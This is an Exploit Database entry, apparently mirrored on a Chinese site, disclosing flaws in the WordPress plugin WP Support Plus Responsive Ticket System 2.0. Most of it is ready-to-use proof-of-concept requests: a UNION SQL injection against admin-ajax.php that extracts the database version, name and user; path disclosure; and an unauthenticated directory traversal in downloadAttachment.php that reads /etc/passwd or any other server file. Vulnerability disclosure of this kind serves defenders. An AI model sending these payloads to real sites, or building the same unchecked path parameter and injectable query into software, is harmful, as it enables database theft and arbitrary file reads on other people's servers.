WordPress Plugin WP Support Plus Responsive Ticket System 2.0 – Multiple Vulnerabilities

• Exploit Database
• 56 阅读

• 作者： Fikri Fadzil
  日期： 2014-09-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/34589/

• # Exploit Title: WordPress WP Support Plus Responsive Ticket System 2.0
  Plugin - Multiple Vulnerabilities
  # Google Dork: N/A
  # Date: 09.09.2014
  # Exploit Author: Fikri Fadzil - fikri.fadzil@impact-alliance.org
  # Vendor Homepage - http://wpsuportplus.byethost7.com/
  # Software
  http://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/
  # Version: 2.0
  # Tested on: PHP
  
  
  Description:
  This plugin adds to WordPress the features of a complete ticket system with
  100% responsive and 100% Ajax functionality. This allows users to submit
  tickets to report problems or get support on whatever you want. Users can
  set the status, priority and category of each ticket.
  
  
  Proof of Concept:
  
  1. SQL INJECTION
  URL : http://localhost/wp-admin/admin-ajax.php
  METHOD: POST
  REQUEST : action=openTicket&ticket_id=-1 UNION SELECT
  concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7
  * any registered user can successfully execute this request
  
  
  2. FULL PATH DISCLOSURE
  a) URL :
  http://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=/var/www/wp-content/uploads/2014/09/file.pdf
   * full path to the file will be shown to the user after the file has been
  uploaded
  b) URL :
  http://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=
   * full path will be shown in PHP error message if parameter "path" is empty
  
  
  3. DIRECTORY TRAVERSAL
  URL :
  http://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=/etc/passwd
  * any file from the server can be downloaded by giving parameter "path" the
  location to the file
  
  
  4. BROKEN AUTHENTICATION
  URL :
  http://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=<any
  file path>
  * The script "downloadAttachment.php" is accessible for anyone without
  having to login.